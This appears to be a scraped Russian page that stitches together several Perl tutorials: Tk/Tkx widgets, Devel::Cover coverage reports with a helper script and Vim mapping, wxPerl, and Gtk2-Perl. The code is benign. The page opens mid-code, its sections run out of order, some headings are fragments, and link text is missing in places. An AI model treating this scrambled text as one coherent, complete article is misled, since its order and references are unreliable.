# Создаём Checkbutton. Его состояние сохраняется # в переменной $cb_variable: при её изменении # извне изменится и внешний вид Checkbutton-а. my $cb_variable = "on"; my $cb = $mw->new_checkbutton( -text => "Checkbutton foobar", -onvalue => "on", -offvalue => "off", -variable => \$cb_variable, ); $cb->g_pack( -side => "top" );

# Создаём кнопку с обработчиком. При нажатии # будет выведен выбранный Radiobutton и текущее # состояние Checkbutton-а my $b = $mw->new_button( -text => "Show status", -command => sub { print "Selected Radiobutton: '$rb_variable'\n"; print "Checkbutton state: '$cb_variable'\n"; } ); $b->g_pack( -side => "top" );

# Запускаем главный цикл обработки событий Tkx::MainLoop(); }

main();

Изменения в коде незначительные, чего не скажешь о внешнем виде:

Вид в Linux

Вид в Windows

Под Windows на таком простом примере различия не видны, но в более сложных приложениях они также будут заметны.

Не смотря на то, что у Tkx открытая лицензиия, широкого распространения в UNIX-системах он пока не получил. Если в вашей UNIX-системе нет соответствующего пакета, потребуется установить по крайней мере два модуля из CPAN: Tkx и Tcl.

В завершение стоит упомянуть про модуль Tcl::Tk, который также работает по принципу "моста".

Установка в Linux/BSD
В UNIX-системах проблем с установкой Perl/Tk возникнуть не должно. К примеру, в Mandriva Linux соответствующий пакет называется perl-Tk, а в OpenBSD - p5-Tk. Корректность установки можно проверить простым однострочником: perl -MTk -e "MainWindow->new(); MainLoop();"
Если всё установлено правильно, то на экране должно появиться пустое окошко:

Установка в Windows
Под Windows Perl/Tk также устанавливается без проблем: ActiveState предоставляет PPM пакет Tk для своего дистрибутива ActivePerl. Проверить корректность установки можно тем же самым однострочником. Вот как выглядит результат его запуска под Windows:

с тулкитом Tk: одноименный модуль
Итак, мы рассмотрели два Perl-модуля для работы с тулкитом Tk: одноименный модуль Tk и Tkx. К плюсам модуля Tk можно отнести его распространенность и хорошую переносимость. К минусам - некоторую архаичность внешнего вида и привязку к устаревшей версии тулкита Tk. В актив Tkx можно записать современный внешний вид и значительно меньшую зависимость от версии тулкита Tk. С другой стороны, "из коробки" Tkx работает только в ActivePerl, хотя возможно в будущем ситуация и изменится. Также следует учитывать, что добавление ещё одного промежуточного слоя - Tcl - негативно сказывается скорости работы и усложняет и без того не тривиальный API.
В целом, тулкит Tk обладает очень гибким API, но в силу своей оригинальности потребуется какое-то время чтобы к нему привыкнуть. В особенности это относится к фреймворку MegaWidgets для создания собственных виджетов на базе существующих. К странностям почти всех модулей для работы с Tk можно отнести невнятный и непоследовательный способ именования виджетов, методов и классов. Также стоит подчеркнуть обилие качественной документации как по Tcl/Tk так и по соответствующим Perl-модулям. К слову, Tk - единственный графический тулкит, чей Perl-интерфейс удостоился отдельной книги: Mastering Perl/Tk.

Автоматизация процесса
Следующим шагом автоматизируем запуск тестов, построение отчёта, открытие браузера и удаление временных файлов (если они больше не требуются). Скрипт test-coverage-report.pl осуществляет все вышеперечисленные операции.
Пример использования: $ ./test-coverage-report.pl --input-file quux.t --browser-cmd=/usr/bin/google-chrome --browser-args '--new-window'
quux....ok All tests successful. Files=1, Tests=3, 2 wallclock secs ( 1.01 cusr + 0.04 csys = 1.05 CPU) Reading database from /tmp/quux-qbIB
---------------------------- ------ ------ ------ ------ ------ ------ ------ File stmt bran cond sub pod time total ---------------------------- ------ ------ ------ ------ ------ ------ ------ Quux.pm 94.3 87.5 80.0 87.5 0.0 46.0 86.4 quux.t 100.0 n/a n/a 100.0 n/a 54.0 100.0 Total 97.3 87.5 80.0 94.7 0.0 100.0 92.7 ---------------------------- ------ ------ ------ ------ ------ ------ ------
Writing HTML output to /tmp/quux-qbIB/coverage.html ... done. В текущем сеансе браузера создано новое окно. Coverage report is generated in '/tmp/quux-qbIB'. Press 'Y' (default) to cleanup this directory or 'N' if you want to keep it. [Y] Y удален `/tmp/quux-qbIB/Quux-pm.html' удален `/tmp/quux-qbIB/cover.12' удален `/tmp/quux-qbIB/Quux-pm--condition.html' удален `/tmp/quux-qbIB/cover.css' удален `/tmp/quux-qbIB/structure/159a56006bd3bae11c68f2dfb7609a8d' удален `/tmp/quux-qbIB/structure/7c2bd0b808c91b847c598f3960c48eee' удален каталог: `/tmp/quux-qbIB/structure' удален каталог: `/tmp/quux-qbIB/runs' удален `/tmp/quux-qbIB/Quux-pm--branch.html' удален `/tmp/quux-qbIB/Quux-pm--subroutine.html' удален `/tmp/quux-qbIB/coverage.html' удален каталог: `/tmp/quux-qbIB'
Для того, чтобы этот скрипт заработал, потребуется установить следующие Perl-модули:
IO::Prompt
Readonly

Остальные зависимости являются built-in модулями.

Devel::Cover на примере
Для начала, построим отчёт вручную. Итак, на входе имеем модуль Quux.pm и тест для него quux.t. Для запуска тестов с измерением степени покрытия, достаточно задать переменную окружения HARNESS_PERL_SWITCHES следующим образом (есть и другие способы, см. perldoc Devel::Cover): export HARNESS_PERL_SWITCHES="-MDevel::Cover"
Затем запускаем тест (в этом примере предполагается, что и тест, и модуль находятся в одной папке, откуда и запускается команда prove): prove quux.t
В результате, в текущей директории появится папка cover_db/ — база данных с информацией о покрытии кода. Для создания HTML-отчёта на основе этих данных необходимо запустить следующую команду (из той же директории): cover
Вот как выглядит результат cover_db/coverage.html:

Видно, что в отчёт попал и сам тест quux.t. Для того, чтобы этого не происходило, достаточно передать команде cover опцию -ignore_re "[.]t$". В отчёте также фигурирует показатель степени покрытия кода документацией (pod-coverage). Если эта информация не нужна, то её также можно отключить (см. perldoc Devel::Cover, параметр -coverage).
В отчёте представлены 5 метрик для каждого файла:
stmt --- % выполненных строк кода
bran --- % выполненных ветвей условных операторов
cond --- % сработавших комбинаций в составных логических условиях
sub --- % выполненных подпрограмм
pod --- % подпрограмм, имеющих POD-документацию

Столбец time показывает, сколько времени прошло в каждом из файлов, а total — агрегирует перечисленные выше показатели.
Если навести мышью на ячейку, то появится всплывающая подсказка вида "N/M", где M — это общее количество тестируемых объектов (к примеру, для столбца stmt — это общее количество строк кода в файле), а N — количество протестированных объектов (для stmt — количество выполненных строк кода).
Если перейти по ссылке в ячейке, то будет показан подробный отчёт по данной метрике. Вот, к примеру, как в нашем примере выглядит bran-отчёт:

Красным отмечены невыполнившиеся ветви кода.
В завершение отмечу, что статистику несколько портит столбец sub, в котором, помимо подпрограмм, почему-то учитываются выражения вида use.

Интеграция с VIM-ом
И, наконец, последний штрих: добавим в vimrc заклинание, вызывающие этот скрипт для текущего файла. Вот оно: map ,c :!/path/to/test-coverage-report.pl --input-file % --browser-cmd=/usr/bin/google-chrome --browser-args='--new-window' map ,C :!/path/to/test-coverage-report.pl --input-file % --browser-cmd=/usr/bin/google-chrome --browser-args='--new-window' --prove-args='--verbose'
Комбинация ,c запустит тест, построит отчёт, откроет заглавную страницу в браузере, а затем спросит, удалять сгенерированные файлы или нет. По умолчанию (просто ENTER) файлы будут удалены. Вариант ,C делает ровным счётом то же самое, но запускает prove в verbose режиме. Таким образом, для построения отчёта достаточно открыть vim-ом файл quux.t и нажать ,c.
Для ещё большей гибкости, можно написать свою обёртку для команды prove, которая, к примеру, может по имени Perl-модуля автоматически находить тест для него в определённой папке. Таким образом, ,c можно будет сказать как на самом модуле Quux.pm, так и на тесте для него quux.t даже не переключая буфер!

Quux.pm
package Quux;
#=============================================================================== # REVISION: $Id$ # DESCRIPTION: Test module # AUTHOR: Alexander Simakov,
# http://alexander-simakov.blogspot.com/ # LICENSE: Public domain #===============================================================================
use strict; use warnings;
our $VERSION = qw($Revision$) [1];
use Readonly; use English qw( -no_match_vars ); use Carp;
## no critic (RequireCarping)
sub new { my $class = shift;
return bless {}, $class; }
sub foo { my $self = shift; my $file_name = shift; my $var1 = shift; my $var2 = shift; my $flag = shift || $ENV{'FLAG'} || 1;
open my $fh, '>>', $file_name or die "Cannot open file '$file_name': $OS_ERROR";
if ($var1) { print {$fh} $var1; } else { warn 'var1 is not saved!'; }
if ($var2) { print {$fh} $var2; } else { warn 'var2 is not saved!'; }
# This should not happen in practice! close $fh or die "Cannot close file '$file_name': $OS_ERROR";
return 1; }
sub not_tested { my $self = shift;
return; }
1;

Quux.t
#!/usr/bin/perl
#=============================================================================== # REVISION: $Id$ # DESCRIPTION: Test for Quux module # AUTHOR: Alexander Simakov,
# http://alexander-simakov.blogspot.com/ # LICENSE: Public domain #===============================================================================
use strict; use warnings;
our $VERSION = qw($Revision$) [1];
use Readonly; use English qw( -no_match_vars );
use FindBin qw($Bin); use lib "$Bin";
use Quux;
use Test::More tests => 3; use Test::Exception;
Readonly my $TEST_FILE => '/dev/null'; Readonly my $NO_SUCH_FILE => '/no/such/file';
sub run_tests { my $quux = Quux->new();
my $result;
$result = $quux->foo( $TEST_FILE, 1, 1 ); ok( $result, 'Check var1=1 and var2=1' );
$result = $quux->foo( $TEST_FILE, 0, 0, 'some_flag' ); ok( $result, 'Check var1=0 and var2=0' );
# We haven't checked var1=1,var2=0 and var1=0,var2=1 but # branch-coverage for method foo() will be 100%
dies_ok { $quux->foo( $NO_SUCH_FILE, 'no_matter', 'no_matter' ) } "Try to open non-existent file '$NO_SUCH_FILE'";
return; }
run_tests();

Стратегии тестирования
На практике, Devel::Cover можно использовать и как "телескоп", когда тесты пишутся с нуля для уже существующей кодовой базы, и как "микроскоп", когда необходимо тщательно проверить каждую веточку и условие в конкретном методе.
Отмечу, что достичь 100%-го sub-покрытия довольно просто, причём даже на нетривиальных модулях, чего не скажешь об остальных видах покрытия. Вообще, не стоит обманывать себя мыслью, что 100% покрытие кода даст 100%-ную защиту от дефектов. Во-первых, это не так, а во-вторых, достичь 100%-го bran- и cond-покрытия в реальной жизни бывает очень непросто.
Представьте себе ситуацию, когда в коде имеется проверка, которая по определению никогда не должна сработать и служит лишь последней линией обороны. Как правило, попасть в такую ветку без дополнительных ухищрений очень сложно. Понятно, что лучше иметь степень покрытия в 99.95% с этой проверкой, чем 100%, но без неё.
Ещё один факт, на который следует обратить внимание заключается в том, что показатель bran-покрытия не учитывает контекст. К примеру, пусть в методе имеются два отдельных условных оператора if(). Тест по-честному проверяет каждое из условий в состояниях TRUE и FALSE, что в результате даёт 100% bran-покрытие. Однако тест не проверяет, что будет, если условие в первом if-е вычислилось как TRUE, а во-втором — как FALSE в то время как это может иметь решающее значение для логики работы программы.
Таким образом, не стоит во чтобы то ни стало стремиться к заветным 100% во всех колонках: зачастую это неоправдано и к тому же всё равно не даёт никаких гарантий.
Ещё одно полезное применение Devel::Cover — помощь при ручном тестировании. Представьте себе большую монолитную, сильно-связанную программу, "вклиниться" в которую традиционными способами затруднительно. В такой ситуации построить отчёт можно следующим образом: perl -MDevel::Cover yourprog args cover

Test-coverage-report
#!/usr/bin/perl
#=============================================================================== # REVISION: $Id$ # DESCRIPTION: Build & display test coverage report # AUTHOR: Alexander Simakov,
# http://alexander-simakov.blogspot.com/ # LICENSE: Public domain #===============================================================================
use strict; use warnings;
our $VERSION = qw($Revision$) [1];
use Readonly; use English qw( -no_match_vars ); use Getopt::Long 2.24 qw(:config no_auto_abbrev no_ignore_case); use Pod::Usage; use IO::Prompt; use File::Temp qw(tempdir); use File::Basename; use Carp;
#use Smart::Comments;
Readonly my $DEFAULT_PROVE_CMD => '/usr/bin/prove'; Readonly my $DEFAULT_PROVE_ARGS => q{};
Readonly my $DEFAULT_COVER_CMD => '/usr/bin/cover'; ## no critic (RequireInterpolationOfMetachars) Readonly my $DEFAULT_COVER_ARGS => q{-ignore_re '[.]t$'}; ## use critic
Readonly my $DEFAULT_BROWSER_CMD => q{}; Readonly my $DEFAULT_BROWSER_ARGS => q{};
sub get_options { my $options = { 'prove-cmd' => $DEFAULT_PROVE_CMD, 'prove-args' => $DEFAULT_PROVE_ARGS, 'cover-cmd' => $DEFAULT_COVER_CMD, 'cover-args' => $DEFAULT_COVER_ARGS, 'browser-cmd' => $DEFAULT_BROWSER_CMD, 'browser-args' => $DEFAULT_BROWSER_ARGS, };
my $options_okay = GetOptions( $options, 'input-file|f=s', # Input .t or .pm file 'prove-cmd|p=s', # Which prove command to use 'prove-args|P=s', # prove args 'cover-cmd|c=s', # Which cover command 'cover-args|C=s', # cover args 'browser-cmd|b=s', # Which browser to use 'browser-args|B=s', # Browser args 'output-dir|d=s', # Output directory 'help|?', # Show brief help message 'man', # Show full documentation );
# More meaningful names for pod2usage's -verbose parameter Readonly my $SHOW_USAGE_ONLY => 0; Readonly my $SHOW_BRIEF_HELP_MESSAGE => 1; Readonly my $SHOW_FULL_MANUAL => 2;
# Show appropriate help message if ( !$options_okay ) { pod2usage( -exitval => 2, -verbose => $SHOW_USAGE_ONLY ); }

if ( $options->{'help'} ) { pod2usage( -exitval => 0, -verbose => $SHOW_BRIEF_HELP_MESSAGE ); }

if ( $options->{'man'} ) { pod2usage( -exitval => 0, -verbose => $SHOW_FULL_MANUAL ); }

# Check required options foreach my $option (qw( input-file browser-cmd prove-cmd cover-cmd )) { if ( !$options->{$option} ) { pod2usage( -message => "Option $option is required", -exitval => 2, -verbose => $SHOW_USAGE_ONLY, ); } }

### options: $options return $options; }

sub create_tmp_dir { my $output_dir = shift; my $input_file = shift;

my $basename = basename( $input_file, qw(.pm .t) ); ### basename: $basename

my $tmp_dir; if ($output_dir) { $tmp_dir = tempdir( "$basename-XXXX", DIR => $output_dir, CLEANUP => 0, ); } else { $tmp_dir = tempdir( "$basename-XXXX", TMPDIR => 1, CLEANUP => 0, ); } ### tmp_dir: $tmp_dir

return $tmp_dir; }

sub enable_coverage_report { my $output_dir = shift;

$ENV{'HARNESS_PERL_SWITCHES'} = "-MDevel::Cover=-db,$output_dir";

return; }

sub prove { my $input_file = shift; my $prove_cmd = shift; my $prove_args = shift;

system "$prove_cmd $input_file $prove_args";

return if $CHILD_ERROR == 0; croak 'Cannot prove the test'; }

sub generate_coverage_report { my $output_dir = shift; my $cover_cmd = shift; my $cover_args = shift;

system "$cover_cmd $cover_args $output_dir";

return if $CHILD_ERROR == 0; croak 'Cannot generate coverage report'; }

sub open_browser { my $url = shift; my $browser_cmd = shift; my $browser_args = shift;

system "$browser_cmd $browser_args $url";

return if $CHILD_ERROR == 0; croak 'Cannot open browser'; }

sub cleanup_dir { my $dir = shift;

system "rm -frv '$dir'";

return; }

sub confirm_cleanup { my $output_dir = shift;

my $msg = "Coverage report is generated in '$output_dir'. " . 'Press \'Y\' (default) to cleanup this directory or \'N\' ' . 'if you want to keep it.';

my $answer = prompt( $msg, -default => 'Y', -YN, -one_char );

if ( $answer eq 'Y' ) { cleanup_dir($output_dir); }

return; }

sub build_coverage_report { my $options = shift;

my $tmp_dir = create_tmp_dir( $options->{'output-dir'}, $options->{'input-file'} );

enable_coverage_report($tmp_dir);

eval { prove( $options->{'input-file'}, $options->{'prove-cmd'}, $options->{'prove-args'}, );

generate_coverage_report( $tmp_dir, $options->{'cover-cmd'}, $options->{'cover-args'}, );

open_browser( "$tmp_dir/coverage.html", $options->{'browser-cmd'}, $options->{'browser-args'}, ); };

if ($EVAL_ERROR) { print "$EVAL_ERROR\n"; cleanup_dir($tmp_dir);

exit 1; }

confirm_cleanup($tmp_dir);

return; }

sub main { my $options = get_options();

build_coverage_report($options);

return; }

main();

__END__ =head1 NAME test-coverage-report.pl - Build & display test coverage report =head1 SYNOPSIS test-coverage-report.pl [options] Options: --input-file|-f Input .t or .pm file --prove-cmd|- p Which prove command to use --prove-args|-P prove args --cover-cmd|-c Which cover command --cover-args|-C cover args --browser-cmd|-b Which browser to use --browser-args|-B Browser args --output-dir|-d Output directory --help|-? Show brief help message --man Show full documentation =head1 DESCRIPTION Run tests, build coverage report and open web-browser. =cut

к кончикам пальцев очень мощный
Интеграция модуля Devel::Cover с VIM-ом выводит к кончикам пальцев очень мощный и полезный инструмент, который способен стать серьёзным подспорьем в каждодневной работе, а благодаря простоте и удобству, тестирование не вслепую очень быстро войдёт в привычку.

Минимальное приложение на wxPerl
Теперь, когда wxPerl установлен, можно опробовать его в действии. Тестовое приложение состоит из двух файлов (файлы должны находиться в одной директории).
wx-minimal.pl: #!/usr/bin/perl
# # Александр Симаков, # http://alexander-simakov.blogspot.com/ # # Простейшая программа использующая wxPerl #
use strict; use warnings;
use FindBin; use lib "$FindBin::Bin";
use Wx; use MinimalApp;
sub main() { # Создаём экземпляр приложения и ... my $minimal_app = MinimalApp->new(); # ... запускаем цикл обработки событий. $minimal_app->MainLoop(); }
main();
MinimalApp.pm: package MinimalApp;
# # Александр Симаков, # http://alexander-simakov.blogspot.com/ # # Минимальный класс приложения wxPerl #
use strict; use warnings;
use utf8; use encoding 'utf8';
use Wx; use base qw{ Wx::App };
sub OnInit { # Создаём окно my $frame = Wx::Frame->new( undef, # Родительское окно -1, # ID окна (-1 значит сгенерировать автоматически) 'Минимальное приложение на wxPerl', # Заголовок окна [ -1, -1 ], # Позиция окна (значение по умолчанию) [ 450, 100 ], # Размер окна );
# Отображаем его на экране $frame->Show( 1 ); }
1;
Вот как выглядит результат запуска этой программы:

Вид в Linux

Вид в Windows

Обзор wxPerl
Если вы программируете на C++, то можете "разговаривать" с wxWidgets без переводчика: этот язык является для него родным. В противном случае придется воспользоваться библиотеками-обёртками: для языка Perl - это wxPerl. Автором проекта wxPerl является Маттиа Бэрбон (Mattia Barbon). Проект стартовал в 2001 году и продолжает развиваться. Так последний релиз wxPerl (0.93) датируется 24 сентября 2009. С предкомпилированными версиями wxPerl не всё так гладко: иногда они отстают от последней версии wxPerl, особенно это относится к Windows. В самых свежих Linux- и BSD-дистрибутивах ситуация несколько лучше: так пакет с wxPerl версии 0.93 есть в , в портах , в . В любом случае, собрать wxPerl в UNIX намного проще чем в Windows. Более подробно об установке wxPerl читайте в следующих разделах.
Из неприятных моментов следует отметить по wxPerl, а точнее её отсутствие. На сайте wxPerl рекомендуется использовать документацию по wxWidgets и мысленно транслировать её на Perl, руководствуясь рядом правил. Также имеется несколько tutorial-ов и . Последняя встречает посетителей следующим сообщением:
The previous wxPerl wiki was not only spammed, but someone managed to entirely erase everything on disk that had to do with the kwiki-wiki. It's now reinstalled and recovered as far as possible.
So...
please feel free to, create an account and start adding information!
Cheers.
Страница со wxPerl также давно не обновлялась: на ней представлен wxPerl версий от 0.14 (апрель 2003) до 0.21 (декабрь 2004). Ну и, наконец, обидно, что по wxPerl нет книги, хотя по тому-же книга .

Обзор wxWidgets
Для того чтобы лучше понять wxPerl полезно представлять себе окружающий его контекст, прежде всего, проект wxWidgets. Первоначальным автором wxWidgets является Джулиан Смарт (Julian Smart). Джулиан начал работать над wxWidgets (раньше wxWidgets назывался wxWindows) в 1992 году, будучи студентом Artificial Intelligence Applications Institute в Эдинбурге. Изначально, целью его работы было создание специализированного CASE-инструмента, который, по задумке, должен был работать как в Windows так и в UNIX-системах. Спустя некоторое время, к проекту начали присоединяться и другие энтузиасты, которые, общими усилиями и превратили wxWidgets в то, чем он является сегодня. В настоящий момент над wxWidgets трудится целая программистов, включая и Джулиана. Примечательно, что три наиболее активных разработчика руководят собственными консалтинговыми компаниями, специализирующимися на wxWidgets.
Из приятных вещей стоит отметить наличие хорошей документации, предкомпилированных версий wxWidgets для разных платформ, а также наличие соответствующих RPM и DEB пакетов в большинстве Linux-дистрибутивов. Есть и достаточно популярные приложения, написанные на wxWidgets: например, аудио редактор Audacity и . Подборку скриншотов различных wx-приложений можно посмотреть .

Установка в Linux
Если вам повезло и в вашем дистрибутиве оказался соответствующий пакет, то можете смело пропустить этот раздел. Если нет, то придется собрать wxPerl вручную из CPAN. Для начала необходимо установить саму библиотеку wxWidgets с заголовочными файлами. К примеру, в Mandriva Linux 2008 необходимые пакеты называются libwxgtku2.8 и libwxgtku2.8-devel
соответственно. Обратите внимание на букву "u" в названиях пакетов. Она означает, что wxWidgets скомпилирован с поддержкой Unicode. После того как библиотеки поставлены, установите следующие Perl-модули: , и .

Установка в Windows
Прежде чем приступить к установке wxPerl, необходимо и проинсталлировать библиотеку wxWidgets. Почти наверняка этот шаг не вызовет никаких сложностей. Далее следует установить wxPerl. Если вы пользуетесь дистрибутивом ActivePerl, то проще всего подключить , который поддерживает Марк Дутсон (Mark Dootson), и установить модуль Wx отдуда. Однако, необходимо иметь в виду две вещи: во-первых, в репозитории может быть не самая последняя версия Wx (на момент написания этих строк - 0.89.1), а во-вторых, необходимо установить правильную версию пакета Alien-wxWidgets, от которого зависит Wx. На момент написания этих строк в репозитории находятся две версии Alien-wxWidgets: 0.39 и 0.44 По умолчанию, разрешая зависимости программа PPM выберет самую свежую версию - 0.44. Проблема в том, Alien-wxWidgets версии 0.44 не будет работать с Wx версии 0.89.1! Для того чтобы обойти эту неприятность следует явно установить Alien-wxWidgets версии 0.39, а затем уже установить Wx. На выяснение этого "очевидного" факта ушло более часа поисков. Впрочем, возможно на момент прочтения этих строк данная проблема будет уже устранена.

В целом, wxPerl достаточно интересный
В целом, wxPerl достаточно интересный и перспективный проект. Вместе с тем, стоит признать, что пока уровень поддержки тулкита wx в языке Perl существенно скромнее чем, скажем, в Python или C++. Таким образом, остановив свой выбор на wxPerl будьте готовы приложить дополнительные усилия на установку и настройку своего окружения, а также на поиски документации и дргугих справочных материалов.

Wx::Demo
Для изучения wxPerl очень полезно ознакомится с подборкой демонстрационных программ. Все программы объединены под одним интерфейсом: сразу можно посмотреть как на внешний вид, так и на исходный текст приложения. Соответствующий модуль называется . Пользователи Windows могут установить этот модуль из упомянутого выше PPM-репозитория. На этот раз никаких сюрпризов нет. Запускной файл называется wxperl_demo.pl
Wx::Demo даёт хорошее представление о возможностях wxPerl, но также обнажает и некоторые недоработки. Сравните виджет wxComboCtrl в Linux и в Windows:

Вид в Linux

Вид в Windows
А вот ещё пара примеров: при масштабировании окна виджеты "наезжают" друг на друга:

Вид в Linux

Вид в Windows
В целом, идея использования виджетов хост-системы очень логична. Однако, встречаются виджеты, специфичные для какой-то конкретной платформы. К таким виджетам, например, относится GtkExpander. Обратите внимание как выглядит этот виджет в Linux (напомню, в Linux wxWidgets базируется на GTK+) и в Windows:

Вид в Linux

Вид в Windows

Библиотека GTK+
Изначально библиотека GTK+ была разработана Питером Матисом (Peter Mattis) и Спенсером Кимбелом (Spencer Kimball) для нужд графического редактора GIMP (GNU Image Manipulation Program), но потом была выделена в отдельный проект. Сама библиотека GTK+ написана на C, но существуют языковые привязки (language bindings) и для многих других языков программирования, в их числе и Perl.
Судя по графику релизов и количеству баг-фиксов, проект GTK+ развивается достаточно активными темпами. За время существования проекта вокруг него сформировалось внушительное сообщество, что также является положительным моментом. В настоящее время команда ключевых разработчиков состоит из десяти человек, представляющих такие компании, как Red Hat, Novell и Intel Open Source Technology Center.
Следует отметить хорошую поддержку механизмов интернационализации и локализации: обратите внимание на использование кодировки UTF-8 в примере.
Документация по библиотекам, входящим в состав GTK+, поддерживается в актуальном состоянии, однако тут есть один нюанс. Разработчики языковых привязок зачастую считают документацию по своим интерфейсам "производной" от документации по оригинальным библиотекам GTK+ и поэтому не всегда поддерживают её в актуальном состоянии. Именно такая ситуация наблюдается с Gtk2-Perl.

Минимальное приложение
Продемонстрируем работу Gtk2-Perl на простом примере: окне с кнопкой. Этот пример дает первоначальное представление об API библиотеки и служит своего рода тестом: если программа запустилась, значит все необходимые библиотеки установлены и работают правильно.
Приведенный пример запускается без модификаций как минимум на трёх платформах: Linux, OpenBSD и Windows. Как правило, и с более сложными приложениями проблем не возникает. Итак, исходный код:
#!/usr/bin/perl
# # Александр Симаков, # http://alexander-simakov.blogspot.com/ # # Простейшая программа использующая Gtk2-Perl #
use strict; use warnings;
# Включаем поддержку Unicode use utf8; use encoding 'utf8';
# Загрузка и инициализация библиотеки Gkt2. Инициализация # библиотеки (параметр -init) должна выполняться ровно # один раз. use Gtk2 -init;
sub main() { # Создаем главное окно my $window = Gtk2::Window->new('toplevel');
# Устанавливаем обработчик сигнала закрытия окна $window->signal_connect( delete_event => sub { Gtk2->main_quit } );
# Создаем кнопку my $button = Gtk2::Button->new('Тест');
# Устанавливаем обработчик на кнопку $button->signal_connect( clicked => sub { print("Тест Gtk2-Perl\n"); });
# Помещаем кнопку на окно $window->add($button);
# Делаем окно, а также все дочерние виджеты видимыми $window->show_all();
# Запускаем цикл обработки событий Gtk2->main(); }
main();
Вид приложения в Linux:

Вид приложения в OpenBSD:

Вид приложения в Windows:

Установка в Linux/BSD
Поскольку GTK+ родом из страны UNIX, проблем с её установкой в UNIX-подобных системах обычно не возникает. Вполне может быть, что все необходимые библиотеки и модули у вас уже установлены. Если нет, то наверняка поставщик вашего дистрибутива подготовил пакет со всем необходимым. К примеру, в Mandriva Linux соответствующий пакет называется perl-Gtk2, а в OpenBSD — p5-Gtk2.

Установка в Windows
В Windows всё несколько сложнее. Поскольку Windows-машина с установленным компилятором языка C и необходимым для сборки окружением — это скорее исключение, чем правило, надеяться приходится только на то, что кто-то заботливо скомпилировал для нас все необходимые библиотеки и языковые привязки к ним. Самое интересное, что на момент написания этих строк в ActivePerl, самом популярном Perl-дистрибутиве для Windows, такого пакета нет! Компиляция этого пакета со всеми зависимостями под Windows — нетривиальная и достаточно хлопотная процедура. На сайте Gtk-perl в разделе Win32 Support даются ссылки на альтернативные PPM-репозитории для ActivePerl, однако это тоже не помогает. Что же делать? Обратите внимание на проект Camelbox. Это Perl-дистрибутив под Windows, в состав которого уже включена поддержка самой последней версии GTK+. Если вы хотите использовать ActivePerl, придется приложить дополнительные усилия.

В этой статье приводится обзор
В этой статье приводится обзор библиотеки GTK+ и её интерфейса к языку Perl — Gtk2-Perl. Поскольку GUI-приложения, написанные на Gtk2-Perl, довольно большая редкость, собирать информацию приходится по крупицам. Цель статьи — постараться дать объективную оценку связке Perl/GTK+: отметить сильные и слабые стороны, предупредить о возможных сложностях и проблемах.

Программирование: Языки - Технологии - Разработка

Программирование

Технологии программирования

Разработка программ

Работа с данными

Методы программирования

IDE интерфейс

Графический интерфейс

Программирование интерфейсов

Отладка программ

Тестирование программ

Программирование на Delphi

Программирование в ActionScript

Assembler

Basic

Pascal

Perl

VBA

VRML

XML

Ada

Lisp

Python

UML

Форт

Языки программирования